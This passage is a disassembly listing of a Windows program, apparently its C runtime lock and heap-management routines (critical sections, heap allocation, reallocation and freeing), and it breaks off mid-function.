--------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421A80 proc near ; CODE XREF: sub_41AEB0+6p ; sub_41B2F0+6p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp ds:dword_44FD60[eax*4], 0 jnz short loc_421B02 push 0E1h push offset aMlock_c ; "mlock.c" push 2 push 18h call sub_41AE60 add esp, 10h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_421ABA push 11h call sub_420CA0 add esp, 4 loc_421ABA: ; CODE XREF: sub_421A80+2Ej push 11h call sub_421A80 add esp, 4 mov ecx, [ebp+arg_0] cmp ds:dword_44FD60[ecx*4], 0 jnz short loc_421AEA mov edx, [ebp+var_4] push edx call ds:dword_4F1444 ; InitializeCriticalSection mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] mov ds:dword_44FD60[eax*4], ecx jmp short loc_421AF8 ; --------------------------------------------------------------------------- loc_421AEA: ; CODE XREF: sub_421A80+4Fj push 2 mov edx, [ebp+var_4] push edx call sub_41B8F0 add esp, 8 loc_421AF8: ; CODE XREF: sub_421A80+68j push 11h call sub_421B20 add esp, 4 loc_421B02: ; CODE XREF: sub_421A80+Fj mov eax, [ebp+arg_0] mov ecx, ds:dword_44FD60[eax*4] push ecx call ds:dword_4F1364 ; RtlEnterCriticalSection mov esp, ebp pop ebp retn sub_421A80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421B20 proc near ; CODE XREF: sub_41AEB0+2Bp ; sub_41B2F0+31p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov ecx, ds:dword_44FD60[eax*4] push ecx call ds:dword_4F1360 ; RtlLeaveCriticalSection pop ebp retn sub_421B20 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, [ebp+8] push eax push 0 call near ptr 3D0000h imul dword ptr [eax-1] ; --------------------------------------------------------------------------- db 3 dup(0) ; --------------------------------------------------------------------------- call ds:dword_4F12F8 ; ExitProcess pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421B60 proc near ; CODE XREF: sub_421D10+10p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, ds:dword_4EE9E4 push eax mov ecx, [ebp+arg_0] push ecx call sub_421B80 add esp, 8 pop ebp retn sub_421B60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421B80 proc near ; CODE XREF: sub_421B60+Dp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0FFFFFFE0h jbe short loc_421B8E xor eax, eax jmp short loc_421BD3 ; --------------------------------------------------------------------------- loc_421B8E: ; CODE XREF: sub_421B80+8j ; sub_421B80:loc_421BD1j cmp [ebp+arg_0], 0FFFFFFE0h ja short loc_421BA5 mov eax, [ebp+arg_0] push eax call sub_421BE0 add esp, 4 mov [ebp+var_4], eax jmp short loc_421BAC ; --------------------------------------------------------------------------- loc_421BA5: ; CODE XREF: sub_421B80+12j mov [ebp+var_4], 0 loc_421BAC: ; CODE XREF: sub_421B80+23j cmp [ebp+var_4], 0 jnz short loc_421BB8 cmp [ebp+arg_4], 0 jnz short loc_421BBD loc_421BB8: ; CODE XREF: sub_421B80+30j mov eax, [ebp+var_4] jmp short loc_421BD3 ; --------------------------------------------------------------------------- loc_421BBD: ; CODE XREF: sub_421B80+36j mov ecx, [ebp+arg_0] push ecx call sub_421970 add esp, 4 test eax, eax jnz short loc_421BD1 xor eax, eax jmp short loc_421BD3 ; --------------------------------------------------------------------------- loc_421BD1: ; CODE XREF: sub_421B80+4Bj jmp short loc_421B8E ; --------------------------------------------------------------------------- loc_421BD3: ; CODE XREF: sub_421B80+Cj ; sub_421B80+3Bj ... mov esp, ebp pop ebp retn sub_421B80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421BE0 proc near ; CODE XREF: sub_41AF30+19Dp ; sub_421B80+18p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp eax, ds:dword_44FE28 ja short loc_421C1D push 9 call sub_421A80 add esp, 4 mov ecx, [ebp+arg_0] push ecx call sub_422810 add esp, 4 mov [ebp+var_4], eax push 9 call sub_421B20 add esp, 4 cmp [ebp+var_4], 0 jz short loc_421C1D mov eax, [ebp+var_4] jmp short loc_421C49 ; --------------------------------------------------------------------------- loc_421C1D: ; CODE XREF: sub_421BE0+Dj ; sub_421BE0+36j cmp [ebp+arg_0], 0 jnz short loc_421C2A mov [ebp+arg_0], 1 loc_421C2A: ; CODE XREF: sub_421BE0+41j mov edx, [ebp+arg_0] add edx, 0Fh and edx, 0FFFFFFF0h mov [ebp+arg_0], edx mov eax, [ebp+arg_0] push eax push 0 mov ecx, ds:dword_4EF060 push ecx call ds:dword_4F144C ; RtlAllocateHeap loc_421C49: ; CODE XREF: sub_421BE0+3Bj mov esp, ebp pop ebp retn sub_421BE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421C50 proc near ; CODE XREF: sub_41AF30+79p ; sub_41B330+C1p ... push ebp mov ebp, esp mov eax, 1 pop ebp retn sub_421C50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421C60 proc near ; CODE XREF: sub_41B330+2D4p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 cmp [ebp+arg_4], 0FFFFFFE0h jbe short loc_421C73 xor eax, eax jmp loc_421D09 ; --------------------------------------------------------------------------- loc_421C73: ; CODE XREF: sub_421C60+Aj push 9 call sub_421A80 add esp, 4 mov eax, [ebp+arg_0] push eax call sub_422180 add esp, 4 mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_421CD1 mov [ebp+var_4], 0 mov ecx, [ebp+arg_4] cmp ecx, ds:dword_44FE28 ja short loc_421CC2 mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_8] push ecx call sub_423050 add esp, 0Ch test eax, eax jz short loc_421CC2 mov edx, [ebp+arg_0] mov [ebp+var_4], edx loc_421CC2: ; CODE XREF: sub_421C60+42j ; sub_421C60+5Aj push 9 call sub_421B20 add esp, 4 mov eax, [ebp+var_4] jmp short loc_421D09 ; --------------------------------------------------------------------------- loc_421CD1: ; CODE XREF: sub_421C60+30j push 9 call sub_421B20 add esp, 4 cmp [ebp+arg_4], 0 jnz short loc_421CE8 mov [ebp+arg_4], 1 loc_421CE8: ; CODE XREF: sub_421C60+7Fj mov eax, [ebp+arg_4] add eax, 0Fh and al, 0F0h mov [ebp+arg_4], eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx push 10h mov eax, ds:dword_4EF060 push eax call ds:dword_4F1450 ; RtlReAllocateHeap loc_421D09: ; CODE XREF: sub_421C60+Ej ; sub_421C60+6Fj mov esp, ebp pop ebp retn sub_421C60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421D10 proc near ; CODE XREF: sub_41B330+2AFp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h cmp [ebp+arg_0], 0 jnz short loc_421D2D mov eax, [ebp+arg_4] push eax call sub_421B60 add esp, 4 jmp loc_421EF6 ; --------------------------------------------------------------------------- loc_421D2D: ; CODE XREF: sub_421D10+Aj cmp [ebp+arg_4], 0 jnz short loc_421D46 mov ecx, [ebp+arg_0] push ecx call sub_421F00 add esp, 4 xor eax, eax jmp loc_421EF6 ; --------------------------------------------------------------------------- loc_421D46: ; CODE XREF: sub_421D10+21j ; sub_421D10:loc_421EF1j mov [ebp+var_8], 0 cmp [ebp+arg_4], 0FFFFFFE0h ja loc_421EC9 push 9 call sub_421A80 add esp, 4 mov edx, [ebp+arg_0] push edx call sub_422180 add esp, 4 mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz loc_421E8C mov eax, [ebp+arg_4] cmp eax, ds:dword_44FE28 ja short loc_421E00 mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx mov eax, [ebp+var_C] push eax call sub_423050 add esp, 0Ch test eax, eax jz short loc_421DA5 mov ecx, [ebp+arg_0] mov [ebp+var_8], ecx jmp short loc_421E00 ; --------------------------------------------------------------------------- loc_421DA5: ; CODE XREF: sub_421D10+8Bj mov edx, [ebp+arg_4] push edx call sub_422810 add esp, 4 mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_421E00 mov eax, [ebp+arg_0] mov ecx, [eax-4] sub ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_4] cmp edx, [ebp+arg_4] jnb short loc_421DD6 mov eax, [ebp+var_4] mov [ebp+var_10], eax jmp short loc_421DDC ; --------------------------------------------------------------------------- loc_421DD6: ; CODE XREF: sub_421D10+BCj mov ecx, [ebp+arg_4] mov [ebp+var_10], ecx loc_421DDC: ; CODE XREF: sub_421D10+C4j mov edx, [ebp+var_10] push edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_8] push ecx call sub_41E840 add esp, 0Ch mov edx, [ebp+arg_0] push edx mov eax, [ebp+var_C] push eax call sub_422240 add esp, 8 loc_421E00: ; CODE XREF: sub_421D10+73j ; sub_421D10+93j ... cmp [ebp+var_8], 0 jnz short loc_421E80 cmp [ebp+arg_4], 0 jnz short loc_421E13 mov [ebp+arg_4], 1 loc_421E13: ; CODE XREF: sub_421D10+FAj mov ecx, [ebp+arg_4] add ecx, 0Fh and ecx, 0FFFFFFF0h mov [ebp+arg_4], ecx mov edx, [ebp+arg_4] push edx push 0 mov eax, ds:dword_4EF060 push eax call ds:dword_4F144C ; RtlAllocateHeap mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_421E80 mov ecx, [ebp+arg_0] mov edx, [ecx-4] sub edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_4] cmp eax, [ebp+arg_4] jnb short loc_421E56 mov ecx, [ebp+var_4] mov [ebp+var_14], ecx jmp short loc_421E5C ; --------------------------------------------------------------------------- loc_421E56: ; CODE XREF: sub_421D10+13Cj mov edx, [ebp+arg_4] mov [ebp+var_14], edx loc_421E5C: ; CODE XREF: sub_421D10+144j mov eax, [ebp+var_14] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_8] push edx call sub_41E840 add esp, 0Ch mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_C] push ecx call sub_422240 add esp, 8 loc_421E80: ; CODE XREF: sub_421D10+F4j ; sub_421D10+128j push 9 call sub_421B20 add esp, 4 jmp short loc_421EC9 ; --------------------------------------------------------------------------- loc_421E8C: ; CODE XREF: sub_421D10+64j push 9 call sub_421B20 add esp, 4 cmp [ebp+arg_4], 0 jnz short loc_421EA3 mov [ebp+arg_4], 1 loc_421EA3: ; CODE XREF: sub_421D10+18Aj mov edx, [ebp+arg_4] add edx, 0Fh and edx, 0FFFFFFF0h mov [ebp+arg_4], edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx push 0 mov edx, ds:dword_4EF060 push edx call ds:dword_4F1450 ; RtlReAllocateHeap mov [ebp+var_8], eax loc_421EC9: ; CODE XREF: sub_421D10+41j ; sub_421D10+17Aj cmp [ebp+var_8], 0 jnz short loc_421ED8 cmp ds:dword_4EE9E4, 0 jnz short loc_421EDD loc_421ED8: ; CODE XREF: sub_421D10+1BDj mov eax, [ebp+var_8] jmp short loc_421EF6 ; --------------------------------------------------------------------------- loc_421EDD: ; CODE XREF: sub_421D10+1C6j mov eax, [ebp+arg_4] push eax call sub_421970 add esp, 4 test eax, eax jnz short loc_421EF1 xor eax, eax jmp short loc_421EF6 ; --------------------------------------------------------------------------- loc_421EF1: ; CODE XREF: sub_421D10+1DBj jmp loc_421D46 ; --------------------------------------------------------------------------- loc_421EF6: ; CODE XREF: sub_421D10+18j ; sub_421D10+31j ... mov esp, ebp pop ebp retn sub_421D10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421F00 proc near ; CODE XREF: sub_41B920+26Ep ; sub_41B920+3B2p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 jnz short loc_421F0C jmp short loc_421F64 ; --------------------------------------------------------------------------- loc_421F0C: ; CODE XREF: sub_421F00+8j push 9 call sub_421A80 add esp, 4 mov eax, [ebp+arg_0] push eax call sub_422180 add esp, 4 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_421F47 mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_4] push edx call sub_422240 add esp, 8 push 9 call sub_421B20 add esp, 4 jmp short loc_421F64 ; --------------------------------------------------------------------------- loc_421F47: ; CODE XREF: sub_421F00+29j push 9 call sub_421B20 add esp, 4 mov eax, [ebp+arg_0] push eax push 0 mov ecx, ds:dword_4EF060 push ecx call ds:dword_4F1454 ; RtlFreeHeap loc_421F64: ; CODE XREF: sub_421F00+Aj ; sub_421F00+45j mov esp, ebp pop ebp retn sub_421F00 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421F70 proc near ; CODE XREF: sub_41C000+30p ; seg000:00421FF3p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], 0FFFFFFFEh push 9 call sub_421A80 add esp, 4 call sub_423770 test eax, eax jge short loc_421F95 mov [ebp+var_4], 0FFFFFFFCh loc_421F95: ; CODE XREF: sub_421F70+1Cj push 9 call sub_421B20 add esp, 4 push 0 push 0 mov eax, ds:dword_4EF060 push eax call ds:dword_4F1414 ; HeapValidate test eax, eax jnz short loc_421FDD call ds:dword_4F1310 ; RtlGetLastWin32Error cmp eax, 78h jnz short loc_421FD6 call sub_4267F0 mov dword ptr [eax], 78h call sub_4267E0 mov dword ptr [eax], 28h jmp short loc_421FDD ; --------------------------------------------------------------------------- loc_421FD6: ; CODE XREF: sub_421F70+4Cj mov [ebp+var_4], 0FFFFFFFCh loc_421FDD: ; CODE XREF: sub_421F70+41j ; sub_421F70+64j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_421F70 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp call sub_421F70 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422000 proc near ; CODE XREF: seg000:00420BAEp arg_0 = dword ptr 8 push ebp mov ebp, esp push 0 push 1000h xor eax, eax cmp [ebp+arg_0], 0 setz al push eax call ds:dword_4F145C ; HeapCreate mov ds:dword_4EF060, eax cmp ds:dword_4EF060, 0 jnz short loc_42202C xor eax, eax jmp short loc_42204B ; --------------------------------------------------------------------------- loc_42202C: ; CODE XREF: sub_422000+26j call sub_422120 test eax, eax jnz short loc_422046 mov ecx, ds:dword_4EF060 push ecx call ds:dword_4F1458 ; HeapDestroy xor eax, eax jmp short loc_42204B ; --------------------------------------------------------------------------- loc_422046: ; CODE XREF: sub_422000+33j mov eax, 1 loc_42204B: ; CODE XREF: sub_422000+2Aj ; sub_422000+44j pop ebp retn sub_422000 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 8 mov eax, ds:dword_4EF05C mov [ebp-8], eax mov dword ptr [ebp-4], 0 jmp short loc_422070 ; --------------------------------------------------------------------------- loc_422067: ; CODE XREF: seg000:004220C4j mov ecx, [ebp-4] add ecx, 1 mov [ebp-4], ecx loc_422070: ; CODE XREF: seg000:00422065j mov edx, [ebp-4] cmp edx, ds:dword_4EF058 jge short loc_4220C6 push 4000h push 100000h mov eax, [ebp-8] mov ecx, [eax+0Ch] push ecx call ds:dword_4F1460 ; VirtualFree push 8000h push 0 mov edx, [ebp-8] mov eax, [edx+0Ch] push eax call ds:dword_4F1460 ; VirtualFree mov ecx, [ebp-8] mov edx, [ecx+10h] push edx push 0 mov eax, ds:dword_4EF060 push eax call ds:dword_4F1454 ; RtlFreeHeap mov ecx, [ebp-8] add ecx, 14h mov [ebp-8], ecx jmp short loc_422067 ; --------------------------------------------------------------------------- loc_4220C6: ; CODE XREF: seg000:00422079j mov edx, ds:dword_4EF05C push edx push 0 mov eax, ds:dword_4EF060 push eax call ds:dword_4F1454 ; RtlFreeHeap mov ecx, ds:dword_4EF060 push ecx call ds:dword_4F1458 ; HeapDestroy mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, ds:dword_44FE28 pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp cmp dword ptr [ebp+8], 3F8h jbe short loc_422110 xor eax, eax jmp short loc_42211D ; --------------------------------------------------------------------------- loc_422110: ; CODE XREF: seg000:0042210Aj mov eax, [ebp+8] mov ds:dword_44FE28, eax mov eax, 1 loc_42211D: ; CODE XREF: seg000:0042210Ej pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422120 proc near ; CODE XREF: sub_422000:loc_42202Cp push ebp mov ebp, esp push 140h push 0 mov eax, ds:dword_4EF060 push eax call ds:dword_4F144C ; RtlAllocateHeap mov ds:dword_4EF05C, eax cmp ds:dword_4EF05C, 0 jnz short loc_422148 xor eax, eax jmp short loc_422177 ; --------------------------------------------------------------------------- loc_422148: ; CODE XREF: sub_422120+22j mov ecx, ds:dword_4EF05C mov ds:dword_4EF050, ecx mov ds:dword_4EF054, 0 mov ds:dword_4EF058, 0 mov ds:dword_4EF048, 10h mov eax, 1 loc_422177: ; CODE XREF: sub_422120+26j pop ebp retn sub_422120 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422180 proc near ; CODE XREF: sub_41C460+30p ; sub_421C60+21p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov eax, ds:dword_4EF058 imul eax, 14h mov ecx, ds:dword_4EF05C add ecx, eax mov [ebp+var_C], ecx mov edx, ds:dword_4EF05C mov [ebp+var_8], edx loc_4221A2: ; CODE XREF: sub_422180+4Dj mov eax, [ebp+var_8] cmp eax, [ebp+var_C] jnb short loc_4221CF mov ecx, [ebp+var_8] mov edx, [ebp+arg_0] sub edx, [ecx+0Ch] mov [ebp+var_4], edx cmp [ebp+var_4], 100000h jnb short loc_4221C4 mov eax, [ebp+var_8] jmp short loc_4221D1 ; --------------------------------------------------------------------------- loc_4221C4: ; CODE XREF: sub_422180+3Dj mov eax, [ebp+var_8] add eax, 14h mov [ebp+var_8], eax jmp short loc_4221A2 ; --------------------------------------------------------------------------- loc_4221CF: ; CODE XREF: sub_422180+28j xor eax, eax loc_4221D1: ; CODE XREF: sub_422180+42j mov esp, ebp pop ebp retn sub_422180 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4221E0 proc near ; CODE XREF: sub_41C460+4Cp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] mov ecx, [ebp+arg_4] sub ecx, [eax+0Ch] mov [ebp+var_8], ecx mov edx, [ebp+var_8] shr edx, 0Fh mov [ebp+var_4], edx mov eax, 80000000h mov ecx, [ebp+var_4] shr eax, cl mov ecx, [ebp+arg_0] mov edx, [ecx+8] and edx, eax test edx, edx jnz short loc_422231 mov eax, [ebp+var_8] and eax, 0Fh test eax, eax jnz short loc_422231 mov ecx, [ebp+var_8] and ecx, 0FFFh test ecx, ecx jz short loc_422231 mov [ebp+var_C], 1 jmp short loc_422238 ; --------------------------------------------------------------------------- loc_422231: ; CODE XREF: sub_4221E0+2Fj ; sub_4221E0+39j ... mov [ebp+var_C], 0 loc_422238: ; CODE XREF: sub_4221E0+4Fj mov eax, [ebp+var_C] mov esp, ebp pop ebp retn sub_4221E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422240 proc near ; CODE XREF: sub_421D10+E8p ; sub_421D10+168p ... var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 3Ch mov eax, [ebp+arg_0] mov ecx, [eax+10h] mov [ebp+var_3C], ecx mov edx, [ebp+arg_0] mov eax, [ebp+arg_4] sub eax, [edx+0Ch] mov [ebp+var_10], eax mov ecx, [ebp+var_10] shr ecx, 0Fh mov [ebp+var_4], ecx mov edx, [ebp+var_4] imul edx, 204h mov eax, [ebp+var_3C] lea ecx, [eax+edx+144h] mov [ebp+var_8], ecx mov edx, [ebp+arg_4] sub edx, 4 mov [ebp+var_1C], edx mov eax, [ebp+var_1C] mov ecx, [eax] sub ecx, 1 mov [ebp+var_30], ecx mov edx, [ebp+var_1C] add edx, [ebp+var_30] mov [ebp+var_38], edx mov eax, [ebp+var_38] mov ecx, [eax] mov [ebp+var_14], ecx mov edx, [ebp+var_1C] mov eax, [edx-4] mov [ebp+var_C], eax mov ecx, [ebp+var_14] and ecx, 1 test ecx, ecx jnz loc_4223D8 mov edx, [ebp+var_14] sar edx, 4 sub edx, 1 mov [ebp+var_24], edx cmp [ebp+var_24], 3Fh jbe short loc_4222CF mov [ebp+var_24], 3Fh loc_4222CF: ; CODE XREF: sub_422240+86j mov eax, [ebp+var_38] mov ecx, [ebp+var_38] mov edx, [eax+4] cmp edx, [ecx+8] jnz loc_4223B1 cmp [ebp+var_24], 20h jnb short loc_422346 mov eax, 80000000h mov ecx, [ebp+var_24] shr eax, cl not eax mov ecx, [ebp+var_4] mov edx, [ebp+var_3C] mov ecx, [edx+ecx*4+44h] and ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_3C] mov [eax+edx*4+44h], ecx mov ecx, [ebp+var_3C] add ecx, [ebp+var_24] mov dl, [ecx+4] sub dl, 1 mov eax, [ebp+var_3C] add eax, [ebp+var_24] mov [eax+4], dl mov ecx, [ebp+var_3C] add ecx, [ebp+var_24] movsx edx, byte ptr [ecx+4] test edx, edx jnz short loc_422344 mov eax, 80000000h mov ecx, [ebp+var_24] shr eax, cl not eax mov ecx, [ebp+arg_0] mov edx, [ecx] and edx, eax mov eax, [ebp+arg_0] mov [eax], edx loc_422344: ; CODE XREF: sub_422240+EAj jmp short loc_4223B1 ; --------------------------------------------------------------------------- loc_422346: ; CODE XREF: sub_422240+A5j mov ecx, [ebp+var_24] sub ecx, 20h mov edx, 80000000h shr edx, cl not edx mov eax, [ebp+var_4] mov ecx, [ebp+var_3C] mov eax, [ecx+eax*4+0C4h] and eax, edx mov ecx, [ebp+var_4] mov edx, [ebp+var_3C] mov [edx+ecx*4+0C4h], eax mov eax, [ebp+var_3C] add eax, [ebp+var_24] mov cl, [eax+4] sub cl, 1 mov edx, [ebp+var_3C] add edx, [ebp+var_24] mov [edx+4], cl mov eax, [ebp+var_3C] add eax, [ebp+var_24] movsx ecx, byte ptr [eax+4] test ecx, ecx jnz short loc_4223B1 mov ecx, [ebp+var_24] sub ecx, 20h mov edx, 80000000h shr edx, cl not edx mov eax, [ebp+arg_0] mov ecx, [eax+4] and ecx, edx mov edx, [ebp+arg_0] mov [edx+4], ecx loc_4223B1: ; CODE XREF: sub_422240+9Bj ; sub_422240:loc_422344j ... mov eax, [ebp+var_38] mov ecx, [eax+8] mov edx, [ebp+var_38] mov eax, [edx+4] mov [ecx+4], eax mov ecx, [ebp+var_38] mov edx, [ecx+4] mov eax, [ebp+var_38] mov ecx, [eax+8] mov [edx+8], ecx mov edx, [ebp+var_30] add edx, [ebp+var_14] mov [ebp+var_30], edx loc_4223D8: ; CODE XREF: sub_422240+70j mov eax, [ebp+var_30] sar eax, 4 sub eax, 1 mov [ebp+var_28], eax cmp [ebp+var_28], 3Fh jbe short loc_4223F1 mov [ebp+var_28], 3Fh loc_4223F1: ; CODE XREF: sub_422240+1A8j mov ecx, [ebp+var_C] and ecx, 1 test ecx, ecx jnz loc_422555 mov edx, [ebp+var_1C] sub edx, [ebp+var_C] mov [ebp+var_34], edx mov eax, [ebp+var_C] sar eax, 4 sub eax, 1 mov [ebp+var_2C], eax cmp [ebp+var_2C], 3Fh jbe short loc_422421 mov [ebp+var_2C], 3Fh loc_422421: ; CODE XREF: sub_422240+1D8j mov ecx, [ebp+var_30] add ecx, [ebp+var_C] mov [ebp+var_30], ecx mov edx, [ebp+var_30] sar edx, 4 sub edx, 1 mov [ebp+var_28], edx cmp [ebp+var_28], 3Fh jbe short loc_422443 mov [ebp+var_28], 3Fh loc_422443: ; CODE XREF: sub_422240+1FAj mov eax, [ebp+var_2C] cmp eax, [ebp+var_28] jz loc_42254F mov ecx, [ebp+var_34] mov edx, [ebp+var_34] mov eax, [ecx+4] cmp eax, [edx+8] jnz loc_422531 cmp [ebp+var_2C], 20h jnb short loc_4224C6 mov edx, 80000000h mov ecx, [ebp+var_2C] shr edx, cl not edx mov eax, [ebp+var_4] mov ecx, [ebp+var_3C] mov eax, [ecx+eax*4+44h] and eax, edx mov ecx, [ebp+var_4] mov edx, [ebp+var_3C] mov [edx+ecx*4+44h], eax mov eax, [ebp+var_3C] add eax, [ebp+var_2C] mov cl, [eax+4] sub cl, 1 mov edx, [ebp+var_3C] add edx, [ebp+var_2C] mov [edx+4], cl mov eax, [ebp+var_3C] add eax, [ebp+var_2C] movsx ecx, byte ptr [eax+4] test ecx, ecx jnz short loc_4224C4 mov edx, 80000000h mov ecx, [ebp+var_2C] shr edx, cl not edx mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, edx mov edx, [ebp+arg_0] mov [edx], ecx loc_4224C4: ; CODE XREF: sub_422240+26Aj jmp short loc_422531 ; --------------------------------------------------------------------------- loc_4224C6: ; CODE XREF: sub_422240+225j mov ecx, [ebp+var_2C] sub ecx, 20h mov eax, 80000000h shr eax, cl not eax mov ecx, [ebp+var_4] mov edx, [ebp+var_3C] mov ecx, [edx+ecx*4+0C4h] and ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_3C] mov [eax+edx*4+0C4h], ecx mov ecx, [ebp+var_3C] add ecx, [ebp+var_2C] mov dl, [ecx+4] sub dl, 1 mov eax, [ebp+var_3C] add eax, [ebp+var_2C] mov [eax+4], dl mov ecx, [ebp+var_3C] add ecx, [ebp+var_2C] movsx edx, byte ptr [ecx+4] test edx, edx jnz short loc_422531 mov ecx, [ebp+var_2C] sub ecx, 20h mov eax, 80000000h shr eax, cl not eax mov ecx, [ebp+arg_0] mov edx, [ecx+4] and edx, eax mov eax, [ebp+arg_0] mov [eax+4], edx loc_422531: ; CODE XREF: sub_422240+21Bj ; sub_422240:loc_4224C4j ... mov ecx, [ebp+var_34] mov edx, [ecx+8] mov eax, [ebp+var_34] mov ecx, [eax+4] mov [edx+4], ecx mov edx, [ebp+var_34] mov eax, [edx+4] mov ecx, [ebp+var_34] mov edx, [ecx+8] mov [eax+8], edx loc_42254F: ; CODE XREF: sub_422240+209j mov eax, [ebp+var_34] mov [ebp+var_1C], eax loc_422555: ; CODE XREF: sub_422240+1B9j mov ecx, [ebp+var_C] and ecx, 1 test ecx, ecx jnz short loc_42256B mov edx, [ebp+var_2C] cmp edx, [ebp+var_28] jz loc_42267B loc_42256B: ; CODE XREF: sub_422240+31Dj mov eax, [ebp+var_28] mov ecx, [ebp+var_8] lea edx, [ecx+eax*8] mov [ebp+var_20], edx mov eax, [ebp+var_1C] mov ecx, [ebp+var_20] mov edx, [ecx+4] mov [eax+4], edx mov eax, [ebp+var_1C] mov ecx, [ebp+var_20] mov [eax+8], ecx mov edx, [ebp+var_20] mov eax, [ebp+var_1C] mov [edx+4], eax mov ecx, [ebp+var_1C] mov edx, [ecx+4] mov eax, [ebp+var_1C] mov [edx+8], eax mov ecx, [ebp+var_1C] mov edx, [ebp+var_1C] mov eax, [ecx+4] cmp eax, [edx+8] jnz loc_42267B cmp [ebp+var_28], 20h jnb short loc_422614 mov ecx, [ebp+var_3C] add ecx, [ebp+var_28] movsx edx, byte ptr [ecx+4] mov eax, [ebp+var_3C] add eax, [ebp+var_28] mov cl, [eax+4] add cl, 1 mov eax, [ebp+var_3C] add eax, [ebp+var_28] mov [eax+4], cl test edx, edx jnz short loc_4225F2 mov edx, 80000000h mov ecx, [ebp+var_28] shr edx, cl mov eax, [ebp+arg_0] mov ecx, [eax] or ecx, edx mov edx, [ebp+arg_0] mov [edx], ecx loc_4225F2: ; CODE XREF: sub_422240+39Aj mov eax, 80000000h mov ecx, [ebp+var_28] shr eax, cl mov ecx, [ebp+var_4] mov edx, 